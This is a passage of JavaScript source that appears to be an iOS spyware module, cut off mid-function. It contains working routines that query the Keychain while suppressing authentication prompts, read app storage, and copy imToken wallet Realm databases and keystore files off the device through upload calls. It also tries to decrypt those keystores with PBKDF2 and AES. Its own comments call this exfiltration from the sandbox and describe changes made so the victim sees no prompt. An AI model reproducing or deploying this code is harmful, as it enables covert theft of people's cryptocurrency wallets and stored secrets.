keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) 